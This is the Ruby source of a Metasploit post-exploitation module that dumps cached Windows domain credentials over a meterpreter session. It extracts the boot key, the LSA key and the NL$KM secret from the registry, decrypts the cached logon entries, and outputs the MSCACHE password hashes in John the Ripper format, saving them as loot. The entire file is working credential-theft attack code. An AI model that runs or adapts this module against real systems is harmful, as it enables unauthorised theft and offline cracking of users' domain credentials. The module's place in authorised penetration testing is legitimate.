metasploit-framework/modules/post/windows/gather/cachedump.rb

390 lines
12 KiB
Ruby

# post/windows/gather/cachedump.rb
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
require 'rex'
class Metasploit3 < Msf::Post
include Msf::Post::Windows::Priv
include Msf::Post::Windows::Registry
def initialize(info={})
super( update_info(info,
'Name' => 'Windows Gather Credential Cache Dump',
'Description' => %q{
This module uses the registry to extract the stored domain hashes that have been
cached as a result of a GPO setting. The default setting on Windows is to store
the last ten successful logins.},
'License' => MSF_LICENSE,
'Author' => [
'Maurizio Agazzini <inode[at]mediaservice.net>',
'mubix'
],
'Platform' => ['win'],
'SessionTypes' => ['meterpreter'],
'References' => [['URL', 'http://lab.mediaservice.net/code/cachedump.rb']]
))
register_options(
[
OptBool.new('DEBUG', [true, 'Debugging output', false])
], self.class)
end
def check_gpo
begin
winlogonkey = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, "Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon", KEY_READ)
gposetting = winlogonkey.query_value('CachedLogonsCount').data
print_status("Cached Credentials Setting: #{gposetting.to_s} - (Max is 50 and 0 disables, and 10 is default)")
#ValueName: CachedLogonsCount
#Data Type: REG_SZ
#Values: 0 - 50
rescue ::Exception => e
print_error("Cache setting not found...")
end
end
def capture_nlkm(lsakey)
ok = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SECURITY\\Policy\\Secrets\\NL$KM\\CurrVal", KEY_READ)
nlkm = ok.query_value("").data
ok.close
print_status("Encrypted NL$KM: #{nlkm.unpack("H*")[0]}") if( datastore['DEBUG'] )
if( @vista == 1 )
nlkm_dec = decrypt_lsa_data( nlkm[0..-1], lsakey)
else
nlkm_dec = decrypt_secret_data( nlkm[0xC..-1], lsakey)
end
return nlkm_dec
end
def parse_decrypted_cache(dec_data, s)
i = 0
hash = dec_data[i...i+0x10]
i+=72
username = dec_data[i...i+(s.userNameLength)].split("\x00\x00").first.gsub("\x00", '')
i+=s.userNameLength
i+=2 * ( ( s.userNameLength / 2 ) % 2 )
vprint_good "Username\t\t: #{username}"
vprint_good "Hash\t\t: #{hash.unpack("H*")[0]}"
last = Time.at(s.lastAccess)
vprint_good "Last login\t\t: #{last.strftime("%F %T")} "
domain = dec_data[i...i+s.domainNameLength+1]
i+=s.domainNameLength
if( s.dnsDomainNameLength != 0)
dnsDomainName = dec_data[i...i+s.dnsDomainNameLength+1].split("\x00\x00").first.gsub("\x00", '')
i+=s.dnsDomainNameLength
i+=2 * ( ( s.dnsDomainNameLength / 2 ) % 2 )
vprint_good "DNS Domain Name\t: #{dnsDomainName}"
end
if( s.upnLength != 0)
upn = dec_data[i...i+s.upnLength+1].split("\x00\x00").first.gsub("\x00", '')
i+=s.upnLength
i+=2 * ( ( s.upnLength / 2 ) % 2 )
vprint_good "UPN\t\t\t: #{upn}"
end
if( s.effectiveNameLength != 0 )
effectiveName = dec_data[i...i+s.effectiveNameLength+1].split("\x00\x00").first.gsub("\x00", '')
i+=s.effectiveNameLength
i+=2 * ( ( s.effectiveNameLength / 2 ) % 2 )
vprint_good "Effective Name\t: #{effectiveName}"
end
if( s.fullNameLength != 0 )
fullName = dec_data[i...i+s.fullNameLength+1].split("\x00\x00").first.gsub("\x00", '')
i+=s.fullNameLength
i+=2 * ( ( s.fullNameLength / 2 ) % 2 )
vprint_good "Full Name\t\t: #{fullName}"
end
if( s.logonScriptLength != 0 )
logonScript = dec_data[i...i+s.logonScriptLength+1].split("\x00\x00").first.gsub("\x00", '')
i+=s.logonScriptLength
i+=2 * ( ( s.logonScriptLength / 2 ) % 2 )
vprint_good "Logon Script\t\t: #{logonScript}"
end
if( s.profilePathLength != 0 )
profilePath = dec_data[i...i+s.profilePathLength+1].split("\x00\x00").first.gsub("\x00", '')
i+=s.profilePathLength
i+=2 * ( ( s.profilePathLength / 2 ) % 2 )
vprint_good "Profile Path\t\t: #{profilePath}"
end
if( s.homeDirectoryLength != 0 )
homeDirectory = dec_data[i...i+s.homeDirectoryLength+1].split("\x00\x00").first.gsub("\x00", '')
i+=s.homeDirectoryLength
i+=2 * ( ( s.homeDirectoryLength / 2 ) % 2 )
vprint_good "Home Directory\t\t: #{homeDirectory}"
end
if( s.homeDirectoryDriveLength != 0 )
homeDirectoryDrive = dec_data[i...i+s.homeDirectoryDriveLength+1].split("\x00\x00").first.gsub("\x00", '')
i+=s.homeDirectoryDriveLength
i+=2 * ( ( s.homeDirectoryDriveLength / 2 ) % 2 )
vprint_good "Home Directory Drive\t: #{homeDirectoryDrive}"
end
vprint_good "User ID\t\t: #{s.userId}"
vprint_good "Primary Group ID\t: #{s.primaryGroupId}"
relativeId = []
while (s.groupCount > 0) do
# Todo: parse attributes
relativeId << dec_data[i...i+4].unpack("V")[0]
i+=4
attributes = dec_data[i...i+4].unpack("V")[0]
i+=4
s.groupCount-=1
end
vprint_good "Additional groups\t: #{relativeId.join ' '}"
if( s.logonDomainNameLength != 0 )
logonDomainName = dec_data[i...i+s.logonDomainNameLength+1].split("\x00\x00").first.gsub("\x00", '')
i+=s.logonDomainNameLength
i+=2 * ( ( s.logonDomainNameLength / 2 ) % 2 )
vprint_good "Logon domain name\t: #{logonDomainName}"
end
@credentials <<
[
username,
hash.unpack("H*")[0],
logonDomainName,
dnsDomainName,
last.strftime("%F %T"),
upn,
effectiveName,
fullName,
logonScript,
profilePath,
homeDirectory,
homeDirectoryDrive,
s.primaryGroupId,
relativeId.join(' '),
]
vprint_good "----------------------------------------------------------------------"
return "#{username.downcase}:#{hash.unpack("H*")[0]}:#{dnsDomainName}:#{logonDomainName}\n"
end
def parse_cache_entry(cache_data)
j = Struct.new(
:userNameLength,
:domainNameLength,
:effectiveNameLength,
:fullNameLength,
:logonScriptLength,
:profilePathLength,
:homeDirectoryLength,
:homeDirectoryDriveLength,
:userId,
:primaryGroupId,
:groupCount,
:logonDomainNameLength,
:logonDomainIdLength,
:lastAccess,
:last_access_time,
:revision,
:sidCount,
:valid,
:sifLength,
:logonPackage,
:dnsDomainNameLength,
:upnLength,
:ch,
:enc_data
)
s = j.new()
s.userNameLength = cache_data[0,2].unpack("v")[0]
s.domainNameLength = cache_data[2,2].unpack("v")[0]
s.effectiveNameLength = cache_data[4,2].unpack("v")[0]
s.fullNameLength = cache_data[6,2].unpack("v")[0]
s.logonScriptLength = cache_data[8,2].unpack("v")[0]
s.profilePathLength = cache_data[10,2].unpack("v")[0]
s.homeDirectoryLength = cache_data[12,2].unpack("v")[0]
s.homeDirectoryDriveLength = cache_data[14,2].unpack("v")[0]
s.userId = cache_data[16,4].unpack("V")[0]
s.primaryGroupId = cache_data[20,4].unpack("V")[0]
s.groupCount = cache_data[24,4].unpack("V")[0]
s.logonDomainNameLength = cache_data[28,2].unpack("v")[0]
s.logonDomainIdLength = cache_data[30,2].unpack("v")[0]
#Removed ("Q") unpack and replaced as such
thi = cache_data[32,4].unpack("V")[0]
tlo = cache_data[36,4].unpack("V")[0]
q = (tlo.to_s(16) + thi.to_s(16)).to_i(16)
s.lastAccess = ((q / 10000000) - 11644473600)
s.revision = cache_data[40,4].unpack("V")[0]
s.sidCount = cache_data[44,4].unpack("V")[0]
s.valid = cache_data[48,4].unpack("V")[0]
s.sifLength = cache_data[52,4].unpack("V")[0]
s.logonPackage = cache_data[56,4].unpack("V")[0]
s.dnsDomainNameLength = cache_data[60,2].unpack("v")[0]
s.upnLength = cache_data[62,2].unpack("v")[0]
s.ch = cache_data[64,16]
s.enc_data = cache_data[96..-1]
return s
end
def decrypt_hash(edata, nlkm, ch)
rc4key = OpenSSL::HMAC.digest(OpenSSL::Digest::Digest.new('md5'), nlkm, ch)
rc4 = OpenSSL::Cipher::Cipher.new("rc4")
rc4.key = rc4key
dec = rc4.update(edata)
dec << rc4.final
return dec
end
def decrypt_hash_vista(edata, nlkm, ch)
aes = OpenSSL::Cipher::Cipher.new('aes-128-cbc')
aes.key = nlkm[16...-1]
aes.padding = 0
aes.decrypt
aes.iv = ch
jj = ""
for i in (0...edata.length).step(16)
xx = aes.update(edata[i...i+16])
jj += xx
end
return jj
end
def run
@credentials = Rex::Ui::Text::Table.new(
'Header' => "MSCACHE Credentials",
'Indent' => 1,
'Columns' =>
[
"Username",
"Hash",
"Logon Domain Name",
"DNS Domain Name",
"Last Login",
"UPN",
"Effective Name",
"Full Name",
"Logon Script",
"Profile Path",
"Home Directory",
"HomeDir Drive",
"Primary Group",
"Additional Groups"
])
begin
print_status("Executing module against #{session.sys.config.sysinfo['Computer']}")
client.railgun.netapi32()
if client.railgun.netapi32.NetGetJoinInformation(nil,4,4)["BufferType"] != 3
print_error("System is not joined to a domain, exiting..")
return
end
#Check policy setting for cached creds
check_gpo
print_status('Obtaining boot key...')
bootkey = capture_boot_key
print_status("Boot key: #{bootkey.unpack("H*")[0]}") if( datastore['DEBUG'] )
print_status('Obtaining Lsa key...')
lsakey = capture_lsa_key(bootkey)
print_status("Lsa Key: #{lsakey.unpack("H*")[0]}") if( datastore['DEBUG'] )
print_status("Obtaining LK$KM...")
nlkm = capture_nlkm(lsakey)
print_status("NL$KM: #{nlkm.unpack("H*")[0]}") if( datastore['DEBUG'] )
print_status("Dumping cached credentials...")
ok = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SECURITY\\Cache", KEY_READ)
john = ""
ok.enum_value.each do |usr|
if( "NL$Control" == usr.name) then
next
end
begin
nl = ok.query_value("#{usr.name}").data
rescue
next
end
cache = parse_cache_entry(nl)
if ( cache.userNameLength > 0 )
print_status("Reg entry: #{nl.unpack("H*")[0]}") if( datastore['DEBUG'] )
print_status("Encrypted data: #{cache.enc_data.unpack("H*")[0]}") if( datastore['DEBUG'] )
print_status("Ch: #{cache.ch.unpack("H*")[0]}") if( datastore['DEBUG'] )
if( @vista == 1 )
dec_data = decrypt_hash_vista(cache.enc_data, nlkm, cache.ch)
else
dec_data = decrypt_hash(cache.enc_data, nlkm, cache.ch)
end
print_status("Decrypted data: #{dec_data.unpack("H*")[0]}") if( datastore['DEBUG'] )
john += parse_decrypted_cache(dec_data, cache)
end
end
print_status("John the Ripper format:")
john.split("\n").each do |pass|
print "#{pass}\n"
end
if( @vista == 1 )
print_status("Hash are in MSCACHE_VISTA format. (mscash2)")
p = store_loot("mscache2.creds", "text/csv", session, @credentials.to_csv, "mscache2_credentials.txt", "MSCACHE v2 Credentials")
print_status("MSCACHE v2 saved in: #{p}")
else
print_status("Hash are in MSCACHE format. (mscash)")
p = store_loot("mscache.creds", "text/csv", session, @credentials.to_csv, "mscache_credentials.txt", "MSCACHE v1 Credentials")
print_status("MSCACHE v1 saved in: #{p}")
end
rescue ::Interrupt
raise $!
rescue ::Rex::Post::Meterpreter::RequestError => e
print_error("Meterpreter Exception: #{e.class} #{e}")
print_error("This script requires the use of a SYSTEM user context (hint: migrate into service process)")
end
end
end